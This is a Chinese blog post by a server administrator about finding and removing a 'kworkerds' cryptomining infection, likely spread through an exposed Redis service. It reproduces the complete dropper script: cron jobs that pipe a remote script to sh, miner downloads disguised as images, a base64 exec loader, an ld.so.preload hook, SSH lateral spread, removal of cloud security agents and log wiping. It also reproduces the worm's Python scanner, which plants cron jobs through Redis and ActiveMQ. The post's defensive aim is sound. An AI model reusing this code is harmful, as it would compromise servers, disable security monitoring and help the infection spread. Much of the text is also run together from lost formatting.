今天上午同事说我负责的那个模块不工作了，我登录了一下阿里云服务器排查一下，发现服务器运行很慢。(因为你敲的命令字符回传的很快，但是命令的响应时间长，所以是服务器卡了，而不是网络的问题)

使用top查看一下，发现：

[root@xxx ~]# top%Cpu(s): 99 us, 0.8 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0st

PID USER PR NI VIRT RES SHR S%CPU %MEM TIME+COMMAND38657 root 20 0 2047468 5000 2500 S 0.6 0.0 28:37.37kworkerds39104 root 20 0 1417372 3900 2144 S 0.6 0.0 9:59.73kworkerds16513 root 20 0 1946444 49456 2336 S 0.6 0.2 62:44.23kworkerds16589 root 20 0 1154188 3428 1772 S 0.6 0.0 52:17.28kworkerds15859 root 20 0 1488564 3756 1652 S 0.6 0.0 56:49.77kworkerds11915 root 20 0 15.4g 2.6g 7612 S 0.6 8.2 21:54.61kworkerds1987 root 20 0 58576 2468 1540 R 0.6 0.0 0:00.20 kworkerds

抱歉，没有及时截图，大家将就着看吧，大概就是上图的样子，cpu已经占到99%，32GB内存只剩200MB，而单独查看kworkerds进程就是如下结果：

[root@xxx ~]# ps -ef | grep -v grep |grep kworkerds

root1754 1 9 5月16 ? 03:09:29 /tmp/kworkerds

root1963 1 9 5月16 ? 03:27:53 /tmp/kworkerds

root2066 1 9 5月16 ? 03:27:51 /tmp/kworkerds

root2073 1 6 00:33 ? 00:38:24 /tmp/kworkerds

root2093 1 12 5月15 ? 05:04:58 /tmp/kworkerds

......此处省略380个进程

[root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l385

毫无疑问，就是这家伙在占用服务器资源，因为服务器不是我一个人在用，所以问了同事是否知道是什么服务，同事也不知道，搜索一下，原来这是一个挖矿木马，二话不说先把他kill掉。

[root@xxx ~]# ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9

果然，服务器快了很多。但是不能治标不治本，查一下开机启动和定时任务。开机启动没发现问题，定时任务有异常。

[root@XXX ~] systemctl list-unit-files

(没发现问题，就不贴进来了)

[root@XXX~] cat /etc/rc.local

(没发现问题，就不贴进来了)

[root@XXX~] cat /etc/crontab

...01 * * * * root run-parts /etc/cron.hourly02 4 * * * root run-parts /etc/cron.daily0 1 * * * root /usr/local/bin/dns

[root@XXX~] crontab -l*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O-http://185.10.68.91/1/1)|sh

##

定时任务有点奇怪，我们去掉"|sh"，用那条命令下载一下它的代码，结果如下：

[root@XXX ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O-http://185.10.68.91/1/1)

#!/bin/bash

SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binfunctionb() {

pkill wnTKYg&& pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYgrm -rf /tmp/qW3xT.2 /tmp/ddgs.3020 /tmp/ddgs.3020 /tmp/wnTKYg /tmp/2t3ikps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9

ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9

ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)if [ ${p} -eq 0 ];then

ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9

fi}functiond() {

ARCH=$(uname -i)if [ "$ARCH" == "x86_64" ]; then(curl-fsSL --connect-timeout 120 https://master.clminer.ru/1/1551434761x2728329064.jpg -o /tmp/kworkerds||wgethttps://master.clminer.ru/1/1551434761x2728329064.jpg-O /tmp/kworkerds) && chmod +x /tmp/kworkerds

/tmp/kworkerdselse

mkdir -p /var/tmpchmod 1777 /var/tmp

(curl-fsSL --connect-timeout 120 https://master.clminer.ru/2/1551434778x2728329032.jpg -o /var/tmp/kworkerds||wgethttps://master.clminer.ru/2/1551434778x2728329032.jpg-O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds

/var/tmp/kworkerdsfi}functione() {

nohup python-c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovLzE4NS4xMC42OC45MS9yYXcvOThzZGY2OTEnCnRyeToKICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3BlbihkKS5yZWFkKCkpCiAgICBleGVjKHBhZ2UpCmV4Y2VwdDoKICAgIHBhc3M='))" >/dev/null 2>&1 &

touch /tmp/.38t9guft0055d0565u444gtjr0

}functionc() {chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload

(curl-fsSL --connect-timeout 120 http://185.10.68.91/2/2 -o /usr/local/bin/dns||wgethttp://185.10.68.91/2/2-O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns

echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontabecho -e "*/10 * * * * root (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/rootecho -e "*/17 * * * * root (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apacheecho -e "*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho -e "*/31 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/rootmkdir -p /etc/cron.hourly

(curl-fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.hourly/oanacroner||wgethttp://185.10.68.91/1/1-O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner

mkdir -p /etc/cron.daily

(curl-fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.daily/oanacroner||wgethttp://185.10.68.91/1/1-O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner

mkdir -p /etc/cron.monthly

(curl-fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.monthly/oanacroner||wgethttp://185.10.68.91/1/1-O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner

mkdir -p /usr/local/lib/

if [ ! -f "/usr/local/lib/libntpd.so" ]; thenARCH=$(uname -i)if [ "$ARCH" == "x86_64" ]; then(curl-fsSL --connect-timeout 120 https://master.clminer.ru/One/2 -o /usr/local/lib/libntpd.so||wgethttps://master.clminer.ru/One/2-O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so

elif [ "$ARCH" == "i386" ]; then(curl-fsSL --connect-timeout 120 https://master.clminer.ru/One/22 -o /usr/local/lib/libntpd.so||wgethttps://master.clminer.ru/One/22-O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so

else(curl-fsSL --connect-timeout 120 https://master.clminer.ru/One/22 -o /usr/local/lib/libntpd.so||wgethttps://master.clminer.ru/One/22-O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so

fi

fi

chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preloadif [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then

for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh' & done

fi

touch -acmr /bin/sh /etc/cron.hourly/oanacronertouch -acmr /bin/sh /etc/cron.daily/oanacronertouch -acmr /bin/sh /etc/cron.monthly/oanacroner

}functiona() {if ps aux | grep -i '[a]liyun'; then

wget http://update.aegis.aliyun.com/download/uninstall.sh

chmod +x uninstall.sh./uninstall.sh

wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh

chmod +x quartz_uninstall.sh./quartz_uninstall.sh

rm -f uninstall.sh quartz_uninstall.shpkill aliyun-servicerm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-servicerm -rf /usr/local/aegis*;elif ps aux | grep -i '[y]unjing'; then

/usr/local/qcloud/stargate/admin/uninstall.sh

/usr/local/qcloud/YunJing/uninst.sh

/usr/local/qcloud/monitor/barad/admin/uninstall.sh

fi

touch /tmp/.a

}mkdir -p /tmpchmod 1777 /tmpif [ ! -f "/tmp/.a" ]; thenafib

c

port=$(netstat -an | grep :56415 | wc -l)if [ ${port} -eq 0 ];thendfi

if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; thenefi

echo 0>/var/spool/mail/rootecho 0>/var/log/wtmpecho 0>/var/log/secureecho 0>/var/log/cron

#

结果就很清楚了，kworkerds这东西就是这个脚本搞得鬼，脚本写的还挺规范的，而且它还自己检查了一下，如果哪个kworkerds如果占用cpu超过80%，就把它kill掉，这样可以防止被一些性能监测软件监测到异常，不过你单个kworkerds确实没有占用超过80%，但是你380多个进程一起跑，总共占用的CPU就达到了99%了啊，当然这不是重点，我们通过脚本，可以看到它都篡改了哪些文件。

chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload

当你自己去改动这些文件的时候发现改不动，改不动就对了，人家代码里写的很清楚，自己改的时候先用"chattr -i"解锁，改完之后再用"chattr +i"加锁，你自己手动解锁一下就可以改了。

有意思的是他的木马程序的下载地址是：https://master.clminer.ru/1/1551434761x2728329064.jpg，他居然把图片下载成程序，不要怀疑自己的眼睛，下载下来之后和/tmp/kworkerds(之前运行的程序)用md5sum命令比较过了，就是同样的文件。真是“禽兽之变诈几何哉”。

解决方法：

1.对于脚本和文本文件，把他添加的语句删除;

2.对于被篡改的二进制可执行程序，去别的服务器找相应的程序替换。我的netstat命令就被改成了一个钓鱼网站的网页，我去其他服务器复制了二进制程序改过来的。

清理脚本参考，注意是参考，因为我的服务器里面这些文件本来就是空的，所以可以这样清理，使用的时候大家还是要自己注意一下：

#!/bin/bashps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9

chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preloadecho "" > /usr/local/bin/dnsecho "" > /etc/cron.d/rootecho "" > /etc/cron.d/apacheecho "" > /var/spool/cron/rootecho "" > /var/spool/cron/crontabs/rootrm -rf /etc/cron.hourly/oanacronerrm -rf /etc/cron.daily/oanacronerrm -rf /etc/cron.monthly/oanacronersed -i '/cron.hourly/d' /etc/crontabsed -i '/cron.daily/d' /etc/crontabsed -i '/usr\/local\/bin\/dns/d' /etc/crontab

#sed -i '$d' /etc/ld.so.preloadrm -rf /usr/local/lib/libntpd.so

#/tmp/.a就不要删了，删了之后万一后来再种木马,还要给你卸载一次阿里云盾

#rm -rf /tmp/.arm -rf /bin/kworkerdsrm -rf /tmp/kworkerdsrm -rf /usr/sbin/kworkerdsrm -rf /etc/init.d/kworker

chkconfig--del kworker

View Code

回头来说说这个脚本，大致的思路如下：

1.删除阿里云云盾客户端和监控程序(估计是参考了你的博客吧：https://www.cnblogs.com/itfat/p/10469342.html)

2.清理主机环境：停止、删除主机已经存在的其他挖矿程序

3.配置主机环境：下载挖矿程序和配置文件并执行

4.篡改系统文件：防止被运维人员发现异常

5.持续感染主机：设置任务计划，保持更新，持续感染主机

6.清空日志，防止别人发现自己的访问踪迹。

脚本也不止这一个，抛开别的不谈，这家伙写的脚本倒是有几分可借鉴之处。

这还是不算解决问题，日志已经被删了，所以还是要找到根源才行。思来想去应该时redis漏洞的问题，原因如下：

1.最初同事找我的时候说安装完软件之后跑不通，我netstat -lanp | grep 6379一下，发现端口已经在用了，就说是端口被占用了，换一个端口就解决了，回头想想当时真是幼稚了;

2.今天再次出现问题的时候，恰恰又是redis的问题，我自己的模块不能将数据写入redis；

3.redis确实有漏洞，可以让别人通过连接redis登录服务器，具体怎么操作呢？http://blog.jobbole.com/94518/

#! /usr/bin/env python#coding: utf-8

importthreadingimportsocketfrom re importfindallimporthttplibimportos

IP_LIST=[]classscanner(threading.Thread):

tlist=[]

maxthreads= 100evnt=threading.Event()

lck=threading.Lock()def __init__(self,host):

threading.Thread.__init__(self)

self.host=hostdefrun(self):try:

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.settimeout(2)

s.connect_ex((self.host,8161))

s.send('google spider\r\n')

results= s.recv(1)ifstr(results):

data= "*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n##"data2= "*/15 * * * * (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n##"conn= httplib.HTTPConnection(self.host, port=8161, timeout=2)

conn.request(method='PUT', url='/fileserver/go.txt', body=data)

conn.request(method='PUT', url='/fileserver/goa.txt', body=data2)

conn.request(method='PUT', url='/fileserver/gob.txt', body=data2)

result=conn.getresponse()

conn.close()if result.status == 204:

headers= {'Destination': 'file:///etc/cron.d/root'}

headers2= {'Destination': 'file:///var/spool/cron/root'}

headers3= {'Destination': 'file:///var/spool/cron/crontabs/root'}

conn= httplib.HTTPConnection(self.host, port=8161, timeout=2)

conn.request(method='MOVE', url='/fileserver/go.txt', headers=headers)

conn.request(method='MOVE', url='/fileserver/goa.txt', headers=headers2)

conn.request(method='MOVE', url='/fileserver/gob.txt', headers=headers3)

conn.close()

s.close()exceptException:pass

try:

s2=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s2.settimeout(2)

x= s2.connect_ex((self.host, 6379))if x ==0:

s2.send('config set stop-writes-on-bgsave-error no\r\n')

s2.send('flushall\r\n')

s2.send('config set dbfilename root\r\n')

s2.send('set SwE3SC "\\t\\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\\n\\t"\r\n')

s2.send('set NysX7D "\\t\\n*/15 * * * * (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\\n\\t"\r\n')

s2.send('config set dir /etc/cron.d\r\n')

s2.send('save\r\n')

s2.send('config set dir /var/spool/cron\r\n')

s2.send('save\r\n')

s2.send('config set dir /var/spool/cron/crontabs\r\n')

s2.send('save\r\n')

s2.send('flushall\r\n')

s2.send('config set stop-writes-on-bgsave-error yes\r\n')

s2.close()exceptException:passscanner.lck.acquire()

scanner.tlist.remove(self)if len(scanner.tlist)

scanner.evnt.set()

scanner.evnt.clear()

scanner.lck.release()defnewthread(host):

scanner.lck.acquire()

sc=scanner(host)

scanner.tlist.append(sc)

scanner.lck.release()

sc.start()

newthread=staticmethod(newthread)defget_ip_list():try:

url= 'ident.me'conn= httplib.HTTPConnection(url, port=80, timeout=10)

conn.request(method='GET', url='/', )

result=conn.getresponse()

ip1=result.read()

ips1= findall(r'\d+.\d+.', ip1)[0]for u in range(0, 256):

ip_list1= (ips1 +(str(u)))for g in range(1, 256):

IP_LIST.append(ip_list1+ '.' +(str(g)))exceptException:

ip2= os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()

ips2= findall(r'\d+.\d+.', ip2)[0]for i in range(0, 255):

ip_list2= (ips2 +(str(i)))for g in range(1, 255):

IP_LIST.append(ip_list2+ '.' +(str(g)))pass

defrunPortscan():

get_ip_list()for host inIP_LIST:

scanner.lck.acquire()if len(scanner.tlist) >=scanner.maxthreads:

scanner.lck.release()

scanner.evnt.wait()else:

scanner.lck.release()

scanner.newthread(host)for t inscanner.tlist:

t.join()if __name__ == "__main__":

runPortscan()

View Code

对于小白来讲，阿里云也给出了解决方案：

乱七八糟的就说到这里吧。